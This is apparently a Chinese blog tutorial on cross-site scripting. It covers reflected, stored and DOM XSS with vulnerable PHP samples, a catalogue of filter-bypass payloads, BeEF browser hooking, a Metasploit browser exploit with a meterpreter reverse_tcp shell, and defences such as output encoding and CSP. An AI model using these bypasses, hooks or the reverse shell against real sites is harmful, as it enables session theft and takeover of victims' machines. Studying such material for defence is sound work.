XSS

XSS

https://wizardforcel.gitbooks.io/xss-naxienian/content

一、什么是XSS

跨站脚本(Cross-Site Scripting,XSS)是一种经常出现在 WEB 应用程序中的计算机安全漏洞,是由于 WEB 应用程序对用户的输入过滤不足而产生的。攻击者利用网站漏洞把恶意的脚本代码注入到网页中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对受害用户可能采取 Cookies 资料窃取、会话劫持、钓鱼欺骗等各种攻击。

Cross Site Scripting由于缩写和CSS相同,更名为XSS。XSS是基于Javascript代码的安全缺陷来完成恶意的攻击行为。 因为Javascript语言对浏览器对象操作的强大性,因此它的攻击能力很强。

通过对JS代码的精心构造,使其注入到服务器端的网页,使得浏览器解释或者运行这段代码来达到攻击的目的。

二、XSS漏洞验证

使用代码检测和验证漏洞的存在,这个过程叫Proof of Concept

EXP(Exploit) 漏洞的完整利用工具

shellcode 利用漏洞所执行的代码

payload 攻击载荷

1
2
3
4
<script>alert('xss')</script>
<script>confirm(/xss/)</script>
<script>prompt(/xss/)</script>
<script "'Oonn>

三、XSS的分类

1、反射性XSS攻击(non-persistent XSS)

攻击者构造的输入参数并不会在服务器端持久化存储,而是临时反射回用户端。这种攻击会通过发送给肉鸡带有构造恶意参数的url,诱导他触发其中的js代码,从而达到攻击目的。

服务端代码

1
2
3
4
5
6
7
<?php 
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>

可以看到,代码直接引用了 name 参数,并没有做任何的过滤和检查,并且将输入直接打印在网页中返回给客户端,存在明显的 XSS 漏洞。

2、存储性XSS攻击(persistent XSS)

持久型跨站脚本(Persistent Cross-Site Scripting)也等同于存储型跨站脚本(Stored Cross-Site Scripting)。

此类 XSS 不需要用户单击特定 URL 就能执行跨站脚本,攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。持久型 XSS 一般出现在网站留言、评论、博客日志等交互处,恶意脚本存储到客户端或者服务端的数据库中。

攻击者构造的恶意代码会在服务器端持久化存储。此数据每当被网页取出处理并发送给客户端时,此客户端就会惨遭其中所携带的js代码攻击。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = mysql_real_escape_string( $message );
// Sanitize name input
$name = mysql_real_escape_string( $name );
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
//mysql_close(); }
?>

代码只对一些空白符、特殊符号、反斜杠进行了删除或转义,没有做 XSS 的过滤和检查,且存储在数据库中,明显存在存储型 XSS 漏洞。

3、DOM XSS

传统的 XSS 漏洞一般出现在服务器端代码中,而 DOM-Based XSS 是基于 DOM 文档对象模型的一种漏洞,所以,受客户端浏览器的脚本代码所影响。客户端 JavaScript 可以访问浏览器的 DOM 文本对象模型,因此能够决定用于加载当前页面的 URL。换句话说,客户端的脚本程序可以通过 DOM 动态地检查和修改页面内容,它不依赖于服务器端的数据,而从客户端获得 DOM 中的数据(如从 URL 中提取数据)并在本地执行。另一方面,浏览器用户可以操纵 DOM 中的一些对象,例如 URL、location 等。用户在客户端输入的数据如果包含了恶意 JavaScript 脚本,而这些脚本没有经过适当的过滤和消毒,那么应用程序就可能受到基于 DOM 的 XSS 攻击。

服务器端的网页代码

1
2
3
4
5
6
7
8
9
10
11
<html>
<head>
<title>DOM-XSS test</title>
</head>
<body>
<script>
var a=document.URL;
document.write(a.substring(a.indexOf("a=")+2,a.length));
</script>
</body>
</html>

触发条件

1
http://127.0.0.1/domXSS.html?a=<script>alert('XSS')</script>

4、Flash XSS

Flash使用ActionScript语言编写,

四、XSS的构造

1、<script></script>、<html></html>标签构造

2、伪协议(高版本浏览器处于安全防护已经不支持,低版本IE<=6可)

1
2
<a href="javascript:alert(/xss/)">touch me!</a>"
<div style="background-image:url(javascript:alert(/xss/))>"

3、通过事件触发XSS

1
2
//Windows事件、Form事件、Keyboard事件、Mouse事件、Media事件
<img src="XXX" onmouseover/onkeydown/onerror...="alert(/xss/)"/>

五、XSS的变形构造/绕过过滤器

1、大小写转换(Html对大小写不敏感、JS对大小写敏感),尽管HTML对字母大小写的使用并不敏感,但是某些后端编程语言的函数,对于字母大小写的不同却有着不同的处理方式,因此可以尝试大小写的变换,测试能否绕过函数的检查。

1
2
<Img sRc='#' Onerror="alert(/xss/)" />
<a hREf="javaScript:alert(/xss/)">touch me!</a>

2、引号的使用:尽管HTML对引号的使用并不敏感,但是某些后端编程语言的函数,对于引号的不同却有着不同的处理方式,因此可以尝试多种引号的使用,测试能否绕过函数的检查。

1
2
3
4
<img src='#' oner
ror='alert(/xss/)' /> #单引号
<img src='#' onerror="alert(/xss/)" /> #双引号
<img src='#' onerror=alert(/xss/) /> #无引号

3、使用左斜线 / %0a / %0d / 行内注释代替空格:

1
2
3
4
<img/src="#"/onerror='alert(/xss/)'/>
<img%0asrc=1%0aonerror=alert(1)> #0x0a是换行键
<img%0dsrc=1%0donerror=alert(1)> #0x0d是归位(回车)键
/**/ #代替空格

4、在关键字中间插入Tab和Enter,来绕过对关键字的检测

1
2
3
4
<img src="#" onerror    ="alert(/xss/)" />
<a hREf="java
Scr i
p t:alert(/xss/)">touch me!</a>

5、对标签属性值进行转码,用来绕过过滤(在 HTML 属性中,会自动对实体字符进行转义,没有过滤 &# 等符号,我们就可以写入任意字符)

1
2
3
4
5
# a的ASCII码是97/x61
<a hREf="j&#97;v&#x61;Script:alert(/xss/)">touch me!</a>
#!! 可以将它们插到关键中的任意位置:Tab: &#9 、 换行符: &#10 、 回车: &#13
#!! 可以将它们插到头部的位置:SOH: &#01、STX: &#02 (控制字符,标识着文本的开始)
<a hREf="&#01;j&#97;v&#x61;S&#9;c&#10;r&#13;ipt:alert(/xss/)">touch me!</a>

6、双写绕过:

1
<scr<script>ipt></scr<script>ipt>

7、拆分跨站脚本:用于shellcode太长,服务器端设置了长度限制的情况

1
2
3
<script>z='alert'</script>
<script>z=z+'(/xss)</script>'
<script>eval(z)</script>

8、JS字符串中的变形:

JS 的字符串中的字符可以写为 unicode 编码。

譬如: < 可以表示为 \u003c , > 可以表示为 \u003e

可以可以表示为\x3c\x3e

9、宽字节绕过

1
条件:<meta http-equiv="Content-Type" content="text/html; charset=gb18030" />

六、XSS漏洞的利用

1、远程调用js:将JS代码放在一个服务器上,exp直接调用

1
<script src="XXXX"></script>

2、windows.location.hash绕过利用

1
<script>eval(location.hash.substr(1))</script>#alert(/xss/)

3、XSS Downloader

1

4、备选存储技术(Cookie—XSS):其实本质上就是构造服务端的输入,来达到组织出js代码的目的。

1
通过设置cookie来实现反弹xss。

七、XSS的防御

1、过滤输入XSS Filter

​ 1)输入验证:对用户的输入做限制,仅接受指定长度范围内的、采用适当格式的内容提交,阻止或者忽略除此之外的其他数据。

输入是否仅包含合法字符、是否超过长度限制、数字规定范围、是否符合特殊格式(email、IP等)要求。

​ 2)输入过滤:过滤和净化掉有害的输入

2、输出编码

可以将输出直接转换为HTML实体,使其无法称为页面的标签部分。

PHP:htmlspecialchars()、htmlentities() [两个函数默认都不对双引号进行过滤]

3、黑白名单式的过滤

针对不同的情况,规定不同的黑白名单,统一进行过滤

4、CSP内容安全策略

​ How websites tell browsers which code source is trustworthy is achieved using a security mechanismcalled Content Security Policy (CSP). This mechanism is specifically designed to defeat XSS and Click-Jacking attacks. It has become a standard, which is supported by most browsers nowadays. CSP not onlyrestricts JavaScript code, it also restricts other page contents, such as limiting where pictures, audio, andvideo can come from, as well as restricting whether a page can be put inside an iframe or not (used fordefeating ClickJacking attacks).

0x01 阻止所有嵌入式的代码
1
Content-Security-Policy: script-src 'self'

​ 服务器端设置此响应HTTP报文字段,浏览器如果支持CSP策略,则会禁止所有嵌入在HTML页面中的JS代码执行,只允许script src引入**本网站资源中的**的JS代码执行。

0x02 JS引入白名单策略
1
Content-Security-Policy: script-src 'self' example.com https://apis.google.com

​ 只设置script-src ‘self’可能过于严格,大多数程序员会引入其它网站的JS代码来使用,因此可以以空格为分隔输入可信的JS来源网站,开启白名单策略

0x03 嵌入式JS代码白名单策略
1
Content-Security-Policy: script-src 'nonce-34fo3er92d'

​ 有的时候程序员也希望在保证安全的前提下,在HTML页面中嵌入JS代码,来减少不必要的工作量。所以CSP也支持这一策略,这称为nonce可信策略,这表示所有script标签中nonce属性值为34fo3er92d的标签才被浏览器所执行。并且该nonce值是随机生成的,每次服务器响应HTML页面时,都会随机生成它。

​ 根据上述策略,下面的嵌入式JS代码中,只有①允许被执行。

1
2
3
4
5
6
7
8
9
10
11
<script nonce=34fo3er92d>        ①
...JavaScript代码...
</script>

<script nonce=123456778a> ②
...JavaScript代码...
</script>

<script>
...JavaScript代码... ③
</script>

八、XSS神器——beef-xss(浏览器劫持)

beef是一个XSS漏洞的利用平台。

1、beef的基础:

kali中beef的配置文件在:/usr/share/beef-xss(用户名密码配置)

Web界面管理控制台:XXXXX:3000/ui/panel

木马钩子:XXXXX:3000/hook.js #此钩子是核心,可导入到任意网页,使其有劫持浏览器用户的能力

测试页面:XXXX:3000/demos/butcher/index.html

2、作用

钩子勾上人就可以劫持浏览器做非常多的操作,还可以通过劫持跳转,利用MSF的漏洞服务网站获得shell,通过msf还可以切换进程到1420explorer.exe或其它进程来让shell权限持久,否则肉鸡一更换网页或关闭浏览器就会中断连接。

1
2
3
4
5
6
use exploit/windows/browser/ms10_002_aurora     #ms12063可打win7
set payload windows/meterpreter/reverse_tcp
set SRVHOST 漏洞网站IP
set LHOST 本地监听IP
session -i 1
ps/getuid/getpid/shell/migrate进程号

九、XSS平台——浏览器数据劫持

xsspt.com

可以生成xss攻击代码的项目,最后生成一个可导入的js标签,一旦有人受到这个js的攻击,便会给xss平台我们的项目信息中发送我们想要的数据。

十、XSS骚操作

1
1、 反斜杠转义符的使用 \ ,转义符在某些条件下使得标签中的符号失效,破坏闭合关系,有奇效。

当前网速较慢或者你使用的浏览器不支持博客特定功能,请尝试刷新或换用Chrome、Firefox等现代浏览器